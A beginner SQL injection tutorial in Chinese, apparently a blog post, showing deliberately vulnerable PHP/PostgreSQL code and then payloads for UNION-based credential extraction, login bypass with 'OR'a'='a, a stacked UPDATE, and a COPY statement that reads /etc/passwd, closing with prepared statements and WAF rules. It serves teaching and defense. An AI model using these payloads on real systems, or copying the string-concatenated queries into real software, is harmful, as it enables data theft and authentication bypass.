SQL注入原理(基础篇)

SQL注入原理(基础篇)

(重点是对sql 原理的理解)进行sql 注入,攻击者能够直接对服务器实施主动攻击,而不需要用户的参与。适合小白入门,大牛们请绕开!

  1. 数据库内的信息全部被外界窃取
  2. 数据库中的内容被篡改
  3. 登录认证被绕过
  4. 其他,例如服务器上的文件被读取或者修改,服务器上的程序被执行等

0x00 UNION联合查询

我们先来看看含有sql 注入漏洞的脚本

1
2
3
4
5
6
7
8
<?php
session_start();
header("Content-Type:text/html;charset=UTF-8");
$author = $_GET['author'];
$con = pg_connect("host=localhost dbname=xxx user=xxx password=xxx");
$sql = "SELECT * FROM books WHERE author ='$author' ORDER BY id";
$rs =pg_query($con,$sql);
?>

sql 注入的语句

1
$author->'+union+select+id,pwd,name,addr,null,null,null+from+users;

0x01 sql 注入绕过认证

认证页面.html

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<title>登录认证</title>
</head>
<body>
<form action="认证.php" method="post">
username<input type="text" name="ID" value="xxx"><br>
password<input type="text" name="PWD" value="xxx"><br>
<input type="submit" value="login">
</form>
</body>
</head>
</html>

认证页面.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();
header("Content-Type:text/html;charset=UTF-8");
$id = @$_POST['ID']; //用户id名
$pwd = @$_POST['PWD']; //用户密码
$con = pg_connect("host=localhost dbname=xxx user=xxx password=xxx");
$sql = "SELECT * FROM user WHERE id ='$id' and PWD ='$pwd'";
$rs = pg_query($con,$sql);
?>
<html>
<body>
<?php
if (pg_num_rows($rw)>0){
$_SESSION['id'] =$id;
echo '登录成功'
}else{
echo '登录失败'
}
pg_close($con);
?>
</body>
</html>

绕过语句

1
2
3
username="xxxxx"
password="'OR'a'='a"
SELECT *FROM users WHERE id ='xxxxx' and pwd =" OR'a'='a'

0x02 sql 注入攻击篡改数据

篡改语句

1
update table set title='<i>xxx</i>'where id='1'

拼接后的语句

1
SELECT *FROM XXX WHERE author=";update table set title='<i>xxx</i>'where id='1'--'ORDER BY id

0x03 读取文件

产生如下URL来拷贝/ect/passwd 的内容到xxx表中:

1
2
;copy xxx(title) form '/ect/passwd';
....php?author='or+author+is+null--

​ copy语句是PostgreSQL数据库的扩展功能,能够将问价中的内容存入表中。此例中/ect/passwd就被存入了books表的title列。执行copy 语句需要PostgreSQL的管理员权限以连接数据库。

0x04 sql 安全解决方案

首先sql注入产生的原因:程序的开发过程中不注意规范书写sql语句和对特殊字符进行过滤,导致可以通过全局变量post/get提交一些sql语句正常执行。

  1. 从代码角度:

    ​ a:静态占位符:格式固定/定位

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?php
    require_once 'MDB.php';
    header("Content-Type:text/html;charset=UTF-8");
    $author = $_GET['author'];
    //连接数据库时指定字符编码为UTF-8
    $mdb =MDB::connect('pgsql://xxx?charset=utf8');
    //使用占位符
    $sql ="SELECT * FROM xxx WHERE author=? ORDER BY id";
    //准备调用sql语句
    $stmt =$mdb->prepare($sql,array('text'));
    //执行sql语句
    $rs =$stmt->execute(array($author));
    ?>
  2. 从WAF角度:

    ​ 可以配置设置waf策略,自定义策略!


    谢谢浏览!!!